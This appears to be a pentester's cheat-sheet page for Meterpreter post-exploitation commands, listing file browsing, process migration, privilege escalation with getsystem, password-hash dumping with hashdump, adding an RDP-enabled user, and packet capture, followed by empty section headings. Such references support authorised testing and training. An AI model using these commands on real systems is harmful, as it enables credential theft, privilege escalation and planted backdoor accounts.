Meterpreter

Basic commands

These commands are the same both on Windows and *nix systems. File paths follow the *nix standard i.e./etc/passwdin windows it's necessary to escape the left dash i.e.c:\\program\ files\\test. If no path is specified most commands will default to local folder.

pwd
ls
ps
cd <path>                    
cat <file>
edit <file>
search -f <pattern> <path>
upload <filename> <path>
download <file path>
execute -f <path to executable>

getuid        #get hostname + current user
sysinfo       #get arch and OS info
ipconfig      #get net information
migrate       #inject execution to another running process
shell         #spawn a shell (cmd or /bin/bash)
getsystem     #attempt to elevate current user to NT AUTHORITY / SYSTEM
background    #background the shell and go back to msf interface
reboot        #restart the machine
exit          #close remote shell
sessions <id> #switch to another running shell

run hashdump                                #obtain password hashes from windows machine
run getgui -u <user> -p <pass>              #add and RDP-enabled user to current machine
run packetrecorder -li                      #list interfaces
run packetrecorder -i <int> -l <local path> #listen on specified interface and save capture file in given local path

Modules

Traffic capture

Persistence

Additional options

Manual msf listener launch

Mimikatz

Services

Certificates

Last updated